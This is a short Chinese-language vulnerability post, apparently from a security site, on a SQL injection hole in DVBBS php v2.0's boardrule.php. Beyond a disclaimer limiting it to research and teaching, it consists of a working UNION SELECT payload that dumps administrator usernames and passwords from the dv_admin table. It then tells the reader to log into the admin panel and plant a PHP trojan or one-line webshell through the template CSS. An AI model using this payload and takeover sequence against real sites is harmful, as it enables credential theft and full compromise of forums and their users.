”DVBBS php v2.0 boardrule.php注入漏洞

【白银时代】备注：本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

boardrule.php存在sql注入漏洞。
<*参考http://p.dvbbs.net/*>

测试方法:
boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了．．．

模板CSS里添加上php木马，或者用一句话木马连接即可拿到webshell了。